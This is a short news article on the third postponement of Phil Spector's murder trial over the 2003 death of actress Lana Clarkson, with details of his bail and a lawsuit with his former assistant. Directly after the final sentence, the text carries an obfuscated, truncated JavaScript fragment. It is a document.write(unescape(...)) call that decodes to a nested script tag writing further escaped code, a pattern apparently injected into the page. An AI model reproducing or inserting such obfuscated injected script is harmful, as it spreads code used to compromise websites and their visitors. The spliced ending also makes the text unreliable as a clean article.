Phil Spector murder trial delayed again

The long-delayed US murder trial of music producer Phil Spector has been postponed a third time, with a judge pushing it back to next March.

Spector's Los Angeles trial over the 2003 murder of actress Lana Clarkson had been set for January 16, but the defence requested another delay as it awaits the completion of scientific and forensic tests.

Superior Court Judge Larry Fidler granted the request and set a new date of March 5, 2007.

The trial was initially set to begin on April 24 this year, but it was postponed to September 11 because prosecutors and one of Spector's lawyers had scheduling conflicts. Then it was postponed a second time when Fidler told lawyers he had scheduled two trials for the same time in September and had decided to try the other case first.

Known for creating rock music's "wall of sound," Spector, 66, is accused of killing Clarkson in his mansion on February 3, 2003.

Clarkson, 40, was best known as the star of Roger Corman's cult film Barbarian Queen. She was working as a hostess at the House of Blues on Sunset Strip and went home with Spector on the night she was killed, police said.

Spector is free on one million dollars' (£537,000) bail. He faces life in prison if convicted.

While awaiting trial, Spector has been embroiled in another court battle. He sued his former personal assistant alleging she siphoned hundreds of thousands of dollars from his accounts.

The assistant recently counter-sued him for more than five million dollars (£2.7 million) on claims including sexual harassment.

Spector, a member of the Rock and Roll Hall of Fame, was the producer of such classic hits as Be My Baby, Da Doo Ron Ron and You've Lost that Lovin' Feeling.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22